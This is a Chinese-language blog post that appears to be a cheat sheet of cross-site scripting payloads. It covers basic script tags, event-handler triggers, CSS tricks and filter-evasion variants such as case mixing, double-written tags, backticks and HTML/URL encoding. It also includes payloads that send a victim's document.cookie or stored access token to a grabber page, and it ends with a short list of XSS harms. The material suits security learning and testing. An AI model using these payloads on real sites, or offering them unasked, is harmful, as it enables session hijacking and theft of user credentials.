【XSS】payload 常用构造和变形方法

本文详细介绍了XSS攻击的典型标签、利用内联和行内CSS、获取敏感信息、鼠标和键盘事件触发、以及payload的各种变形技巧。同时提到了XSS的危害和防范措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XSS 构造 payload(利用 “<>” 构造 HTML 标签或 标签)

一、典型标签:

<script>alert('xss')</script>
"><script>alert('xss')</script>

二、获取管理员 cookie 或敏感访问令牌,并把它发送到指定的页面:

<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>

<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>

<script>new Image().src='http://localhost/cookie.php?c='+document.cookie;</script>

<script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script>

三、利用 HTML 标签的属性

"><img src=x οnerrοr=alert("XSS");>

<img src=x:alert(alt) onerror=eval(src) alt=xss>

<img src=x onerror=alert('XSS');>

<img src=x onerror=alert(String.fromCharCode(88,83,83));>

四、利用鼠标事件触发恶意代码
在这里插入图片描述
示例:

<button onclick=alert('xss')>触发按钮</button>    鼠标单击元素触发

<button ondbclick=alert('xss')>触发按钮</button>    鼠标双击

<button onmousedown=alert('xss')>触发按钮</button>    鼠标被按下

<button onmouseover=alert('xss')>触发按钮</button>    鼠标移动到元素上

<button onmouseout=alert('xss')>触发按钮</button>     鼠标从元素上移开

五、利用键盘事件触发恶意代码

function test(){alert('回显字样');}

onkeydown某个键盘按键被按下:
<img src="javascript:void(0)" onerror="document.οnkeydοwn=function(e){if(e.keyCode==65){alert('XSS')}}"/>
#javascript:void(0)  ---> 图片不会正常显示,但能执行命令
#该标签表示键盘输入 'A' 时就会触发恶意语句,'A'ASCII码为65
<input type="text" onkeydown="test()">    //<input>标签的输入框

onkeyup某个按键被松开:
<input type="text" onkeyup="test()">

onkeypress某个按键被按下并松开:
<input type="text" onkeyup="test()">

六、利用CSS(了解,并不熟悉)
行内样式方法:

1.这段 payload 利用了 HTML 元素的 style 属性来设置内联样式。
2.将一个 div 元素的背景图片设置为一个 JavaScript URL,该 URL 会在加载时执行 alert('xss')3.现代浏览器通常不允许在 CSSurl() 函数中执行 JavaScript,所以这种方法可能不会生效。

<div style="background-image:url(javascript:alert('xss'))">

页内样式方法:

1.这段 payload 中使用了 <style> 标签来定义页内样式。
2.将 body 元素的背景图片设置为一个 JavaScript URL,同样,这个 URL 会在加载时执行 alert('xss')3.但和行内样式的情况一样,这种方法可能不会生效。

<style>Body{background-image:url(javascript:alert('xss'))}</style>

外部样式方法:

1.这段 payload 中通过链接到一个外部 CSS 文件(xss.css)来注入恶意代码。
2.这个外部 CSS 文件可能包含类似于前面两种方法的恶意代码,但由于 CSS 本身不能执行 JavaScript,可能就需要利用某些浏览器或应用程序的特定漏洞来执行恶意代码。

<link rel="stylesheet" type="text/css" href="./xss.css">

XSS payload 变形方法

大小写

<sCript>alert('xss')</Script>        将标签中的部分小写字母改为大写

双写

<scrscriptipt>alert('xss')</scrscriptipt>        对原来的<script>标签变形	

引号

<img src="#" onerror="alert('xss')"/>        双引号包裹执行命令的alert函数
<img src="#" onerror=alert`xss`/>        反引号代替括号包裹xss内容

/ 代替空格

<img/src='#'/onerror='alert('xss')'/>

Tab 与回车

在语句中穿插 Tab和回车

<a href="j
avascript:alert('xss')">click me!
</a>

编码

<a href="j&#97;v&#x61;script:alert('xss')>click me!</a>        HTML实体编码
%3Cscript%3Ealert('xss')%3C/script%3E        URL编码

【附】XSS漏洞危害

  • 盗取各种用户账号
  • 窃取用户Cookie资料,冒充用户身份进入网站
  • 劫持用户会话,执行任意操作
  • 刷流量,执行广告弹窗
  • 传播蠕虫病毒
  • 记录用户的键盘输入
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值